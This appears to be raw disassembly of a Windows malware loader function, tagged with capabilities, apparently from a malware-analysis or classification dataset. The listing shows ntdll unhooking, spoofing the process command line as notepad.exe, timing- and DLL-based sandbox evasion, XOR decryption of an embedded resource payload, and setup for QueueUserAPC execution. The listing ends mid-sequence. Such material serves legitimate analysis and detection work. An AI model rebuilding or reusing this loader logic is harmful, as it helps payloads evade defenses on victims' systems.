Function at 0x1400014a4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rbx
sub rsp, 0x3d8
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x340], xmm6
mov dword [rbp + 0x370], ecx
mov qword [rbp + 0x378], rdx
call fcn.140002b40
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x2d0], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x2c8], rax
mov dword [rbp + 0x33c], 0
jmp 0x14000154f
call sub.msvcrt.dll_rand
imul eax, eax, 0x3b9
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000b160]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003d30
movq rax, xmm0
mov qword [rbp + 0xb8], rax
add dword [rbp + 0x33c], 1
cmp dword [rbp + 0x33c], 0x2c9
jle 0x14000150e
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x2c0], rax
mov dword [rbp + 0x338], 0xffffffff
mov ecx, 0x16b0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2b8], rax
mov ecx, 0x16b0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2b0], rax
add dword [rbp + 0x338], 1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x338]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2b8]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x338]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2b8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x338]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x2b0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003b80
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x338], 0x2d4
jle 0x1400015a1
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x330], rax
cmp qword [rbp + 0x330], 0
jne 0x1400016f0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x330], rax
cmp qword [rbp + 0x330], 0
je 0x140001d1b
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0xa0]
mov rax, qword [rbp + 0x2c0]
mov r10, qword [rbp + 0x330]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x2a8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x2a0], rax
mov ecx, 0x918
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x298], rax
mov dword [rbp + 0x32c], 0
jmp 0x140001829
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x32c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x298]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x32c], 1
cmp dword [rbp + 0x32c], 0x245
jle 0x1400017a0
mov dword [rbp + 0x32c], 0
jmp 0x140001955
mov dword [rbp + 0x24c], 0
jmp 0x140001937
mov eax, dword [rbp + 0x32c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x298]
add rax, rdx
movss xmm0, dword [rax]
mov eax, dword [rbp + 0x24c]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x298]
add rax, rdx
movss xmm1, dword [rax]
comiss xmm0, xmm1
jbe 0x140001930
mov eax, dword [rbp + 0x24c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x298]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x248], xmm0
mov eax, dword [rbp + 0x32c]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x298]
add rdx, rax
mov eax, dword [rbp + 0x24c]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x298]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x24c]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x298]
add rax, rdx
movss xmm0, dword [rbp + 0x248]
movss dword [rax], xmm0
add dword [rbp + 0x32c], 1
mov eax, 0x245
sub eax, dword [rbp + 0x32c]
cmp dword [rbp + 0x24c], eax
jl 0x140001857
add dword [rbp + 0x32c], 1
cmp dword [rbp + 0x32c], 0x245
jle 0x140001848
mov rax, qword [rbp + 0x298]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x2a0]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x290], rax
mov rax, qword [rbp + 0x290]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x288], rax
mov ecx, 0x24c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x280], rax
mov ecx, 0x24c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x278], rax
mov ecx, 0x24c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x270], rax
mov ecx, 0x24c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x268], rax
mov dword [rbp + 0x324], 0x92
mov dword [rbp + 0x328], 0
jmp 0x140001b4d
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x328]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x280]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x328]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x278]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x324]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x280]
add rax, rdx
mov edx, dword [rbp + 0x328]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x270]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x324]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x278]
add rax, rdx
mov edx, dword [rbp + 0x328]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x268]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x324], 1
add dword [rbp + 0x328], 1
cmp dword [rbp + 0x328], 0x92
jle 0x140001a41
mov rax, qword [rbp + 0x280]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x278]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x270]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x268]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x2a8]
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x2a8]
add rax, rdx
mov qword [rbp + 0x258], rax
mov word [rbp + 0x322], 0
jmp 0x140001d03
mov rax, qword [rbp + 0x258]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x258]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x322]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x250], rax
mov rax, qword [rbp + 0x250]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001cf2
mov dword [rbp + 0x68], 0
mov rax, qword [rbp + 0x250]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x250]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x2a8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x68]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x250]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x250]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x288]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x250]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x2a8]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x68]
mov rax, qword [rbp + 0x250]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x250]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x2a8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x68]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x322]
add eax, 1
mov word [rbp + 0x322], ax
mov rax, qword [rbp + 0x258]
movzx eax, word [rax + 6]
cmp word [rbp + 0x322], ax
jb 0x140001bd3
mov dword [rbp + 0x6c], 0
mov rax, qword [rbp + 0x2d0]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x240], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x70]
lea rax, [rbp + 0x6c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x240]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x78]
add rax, 0x3c
mov qword [rbp + 0x238], rax
mov rax, qword [rbp + 0x238]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x238]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov dword [rbp + 0x234], 0x29a
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x228], rax
mov rax, qword [rbp + 0x228]
call rax
mov dword [rbp + 0x224], eax
mov eax, dword [rbp + 0x234]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x228]
call rax
mov dword [rbp + 0x220], eax
mov eax, dword [rbp + 0x220]
sub eax, dword [rbp + 0x224]
cmp eax, 0x268
jbe 0x140002a73
mov dword [rbp + 0x21c], 0x33a
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x210], rax
mov rax, qword [rbp + 0x210]
call rax
mov dword [rbp + 0x20c], eax
mov eax, dword [rbp + 0x21c]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x210]
call rax
mov dword [rbp + 0x208], eax
mov eax, dword [rbp + 0x208]
sub eax, dword [rbp + 0x20c]
cmp eax, 0x308
jbe 0x140002a73
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x200], rax
cmp qword [rbp + 0x200], 0
je 0x140001f09
mov rax, qword [rbp + 0x200]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1f8], rax
mov rax, qword [rbp + 0x1f8]
mov ecx, 0
call rax
mov dword [rbp + 0x31c], eax
cmp dword [rbp + 0x31c], 0xffffffff
je 0x140002a73
mov dword [rbp + 0x1f4], 0x251
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1e8], rax
mov rax, qword [rbp + 0x1e8]
call rax
mov dword [rbp + 0x1e4], eax
mov eax, dword [rbp + 0x1f4]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x1e8]
call rax
mov dword [rbp + 0x1e0], eax
mov eax, dword [rbp + 0x1e0]
sub eax, dword [rbp + 0x1e4]
cmp eax, 0x21f
jbe 0x140002a73
mov dword [rbp + 0x1dc], 0x2ef
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1d0], rax
mov rax, qword [rbp + 0x1d0]
call rax
mov dword [rbp + 0x1cc], eax
mov eax, dword [rbp + 0x1dc]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x1d0]
call rax
mov dword [rbp + 0x1c8], eax
mov eax, dword [rbp + 0x1c8]
sub eax, dword [rbp + 0x1cc]
cmp eax, 0x2bd
jbe 0x140002a73
lea rax, str.lzgmeqdtzbkzcf.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x1c0], rax
cmp qword [rbp + 0x1c0], 0
jne 0x140002a73
mov dword [rbp + 0x1bc], 0x34e
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1b0], rax
mov rax, qword [rbp + 0x1b0]
call rax
mov dword [rbp + 0x1ac], eax
mov eax, dword [rbp + 0x1bc]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x1b0]
call rax
mov dword [rbp + 0x1a8], eax
mov eax, dword [rbp + 0x1a8]
sub eax, dword [rbp + 0x1ac]
cmp eax, 0x31c
jbe 0x140002a73
mov dword [rbp + 0x1a4], 0x3af
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x198], rax
mov rax, qword [rbp + 0x198]
call rax
mov dword [rbp + 0x194], eax
mov eax, dword [rbp + 0x1a4]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x198]
call rax
mov dword [rbp + 0x190], eax
mov eax, dword [rbp + 0x190]
sub eax, dword [rbp + 0x194]
cmp eax, 0x37d
jbe 0x140002a73
lea rax, str.eoxpfwbyglmru.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x188], rax
cmp qword [rbp + 0x188], 0
jne 0x140002a73
mov dword [rbp + 0x184], 0x3b0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x178], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x170], rax
mov rax, qword [rbp + 0x170]
call rax
mov dword [rbp + 0x16c], eax
mov eax, dword [rbp + 0x184]
mov r8, qword [rbp + 0x178]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x170]
call rax
mov dword [rbp + 0x168], eax
mov eax, dword [rbp + 0x168]
sub eax, dword [rbp + 0x16c]
cmp eax, 0x37e
jbe 0x140002a73
mov rax, qword [rbp + 0x2c8]
lea rdx, str.FindResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x160], rax
lea rax, str.NPHWNTQH
movzx eax, ax
mov rdx, rax
mov rax, qword [rbp + 0x160]
lea r8, str.NPHWNTQH
mov ecx, 0
call rax
mov qword [rbp + 0x158], rax
mov dword [rbp + 0x318], 0xfa
mov dword [rbp + 0x314], 0xa0
mov dword [rbp + 0x310], 0x23a
mov dword [rbp + 0x30c], 0x17c
jmp 0x140002366
mov eax, dword [rbp + 0x310]
cmp eax, dword [rbp + 0x30c]
jle 0x140002303
mov eax, dword [rbp + 0x310]
cmp eax, dword [rbp + 0x318]
jle 0x1400022e3
mov eax, dword [rbp + 0x310]
cmp eax, dword [rbp + 0x314]
jle 0x1400022da
sub dword [rbp + 0x310], 1
jmp 0x14000234f
sub dword [rbp + 0x314], 1
jmp 0x14000234f
mov eax, dword [rbp + 0x318]
cmp eax, dword [rbp + 0x314]
jle 0x1400022fa
sub dword [rbp + 0x318], 1
jmp 0x14000234f
sub dword [rbp + 0x314], 1
jmp 0x14000234f
mov eax, dword [rbp + 0x30c]
cmp eax, dword [rbp + 0x318]
jle 0x140002331
mov eax, dword [rbp + 0x30c]
cmp eax, dword [rbp + 0x314]
jle 0x140002328
sub dword [rbp + 0x30c], 1
jmp 0x14000234f
sub dword [rbp + 0x314], 1
jmp 0x14000234f
mov eax, dword [rbp + 0x318]
cmp eax, dword [rbp + 0x314]
jle 0x140002348
sub dword [rbp + 0x318], 1
jmp 0x14000234f
sub dword [rbp + 0x314], 1
mov eax, dword [rbp + 0x310]
mov edx, eax
lea rax, [0x14000b111]
mov rcx, rax
call fcn.140001450
cmp dword [rbp + 0x310], 0
jg 0x1400022a7
mov rax, qword [rbp + 0x2c8]
lea rdx, str.LoadResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x150], rax
mov rax, qword [rbp + 0x158]
mov r8, qword [rbp + 0x150]
mov rdx, rax
mov ecx, 0
call r8
mov qword [rbp + 0x148], rax
mov rax, qword [rbp + 0x2c8]
lea rdx, str.SizeofResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x140], rax
mov dword [rbp + 0x13c], 1
mov ecx, 0xd4c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x130], rax
mov qword [rbp + 0x300], 2
jmp 0x140002424
mov rax, qword [rbp + 0x300]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x130]
add rax, rdx
mov dword [rax], 1
add qword [rbp + 0x300], 1
cmp qword [rbp + 0x300], 0x352
jbe 0x1400023fd
mov qword [rbp + 0x300], 2
jmp 0x1400024bb
mov rax, qword [rbp + 0x300]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x130]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x1400024b3
mov rax, qword [rbp + 0x300]
mov qword [rbp + 0x2f8], rax
jmp 0x14000249c
mov rax, qword [rbp + 0x300]
imul rax, qword [rbp + 0x2f8]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x130]
add rax, rdx
mov dword [rax], 0
add qword [rbp + 0x2f8], 1
mov rax, qword [rbp + 0x300]
imul rax, qword [rbp + 0x2f8]
cmp rax, 0x352
jbe 0x14000246d
add qword [rbp + 0x300], 1
cmp qword [rbp + 0x300], 0x352
jbe 0x14000243e
mov rax, qword [rbp + 0x130]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x2c8]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x128], rax
mov rax, qword [rbp + 0x2c8]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x120], rax
mov ecx, 0xd9c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x118], rax
mov ecx, 0xd9c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x110], rax
mov dword [rbp + 0x2f0], 0x366
mov dword [rbp + 0x2f4], 0
jmp 0x1400025e5
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x2f4]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x118]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x2f0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x118]
add rax, rdx
mov edx, dword [rbp + 0x2f4]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x110]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x2f0], 1
add dword [rbp + 0x2f4], 1
cmp dword [rbp + 0x2f4], 0x366
jle 0x140002558
mov rax, qword [rbp + 0x118]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x110]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x158]
mov r8, qword [rbp + 0x140]
mov rdx, rax
mov ecx, 0
call r8
mov rdx, rax
mov rax, qword [rbp + 0x128]
mov r8d, 0
mov ecx, 0x40000
call rax
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x158]
mov r8, qword [rbp + 0x140]
mov rdx, rax
mov ecx, 0
call r8
mov rdx, rax
mov rax, qword [rbp + 0x108]
mov r9, qword [rbp + 0x120]
mov r8, rdx
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x100], rax
mov rax, qword [rbp + 0x2d0]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xf8], rax
mov rax, qword [rbp + 0x158]
mov r8, qword [rbp + 0x140]
mov rdx, rax
mov ecx, 0
call r8
mov rcx, rax
mov rdx, qword [rbp + 0x148]
mov rax, qword [rbp + 0x100]
mov r9, qword [rbp + 0xf8]
mov r8, rcx
mov rcx, rax
call r9
mov dword [rbp + 0x2e8], 0
mov dword [rbp + 0x2e4], 0
movabs rax, 0x9e6f34cbf45d7132
movabs rdx, 0xf1c50104c13907d
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
movabs rax, 0x5cd351dc0e7178a2
movabs rdx, 0x280a78bd732ba13a
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0xcf86468874d7278c
movabs rdx, 0x68e10f0bf0f6b4f3
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0x754b5fdb729e7d21
movabs rdx, 0x6fce60d0fefcac11
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0xed649f9e7ef1c496
movabs rdx, 0x6159d05c8eda0f
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0x413e5aa003013ef
movabs rdx, 0xef27e99b432246ae
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0x3e1290e7e44cc0d0
movabs rdx, 0x9522e0307e460004
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov byte [rbp], 0
mov dword [rbp + 0x2ec], 0
jmp 0x140002817
mov eax, dword [rbp + 0x2ec]
cdqe
movzx edx, byte [rbp + rax - 0x20]
mov eax, dword [rbp + 0x2e8]
cdqe
movzx eax, byte [rbp + rax + 0x10]
xor edx, eax
mov eax, dword [rbp + 0x2ec]
cdqe
mov byte [rbp + rax - 0x40], dl
cmp dword [rbp + 0x2e8], 0x4e
jne 0x140002809
mov dword [rbp + 0x2e8], 0
jmp 0x140002810
add dword [rbp + 0x2e8], 1
add dword [rbp + 0x2ec], 1
mov eax, dword [rbp + 0x2ec]
cmp eax, 0x1f
jbe 0x1400027cc
mov dword [rbp + 0x2ec], 0
jmp 0x14000288f
mov eax, dword [rbp + 0x2ec]
movsxd rdx, eax
mov rax, qword [rbp + 0x100]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2e4]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x2ec]
movsxd rdx, eax
mov rax, qword [rbp + 0x100]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x2e4], 0x1f
jne 0x140002881
mov dword [rbp + 0x2e4], 0
jmp 0x140002888
add dword [rbp + 0x2e4], 1
add dword [rbp + 0x2ec], 1
cmp dword [rbp + 0x2ec], 0x436
jle 0x14000282e
mov dword [rbp + 0x2e0], 0
jmp 0x1400028e8
call sub.msvcrt.dll_rand
imul eax, eax, 0xb0
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000b160]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003d30
movq rax, xmm0
mov qword [rbp + 0xc0], rax
add dword [rbp + 0x2e0], 1
cmp dword [rbp + 0x2e0], 0x383
jle 0x1400028a7
mov rax, qword [rbp + 0x100]
mov qword [rbp + 0xf0], rax
mov rax, qword [rbp + 0x2c8]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0x2c8]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xe0], rax
mov dword [rbp + 0x2dc], 0xffffffff
add dword [rbp + 0x2dc], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x367
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000b160]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003d30
movq rax, xmm0
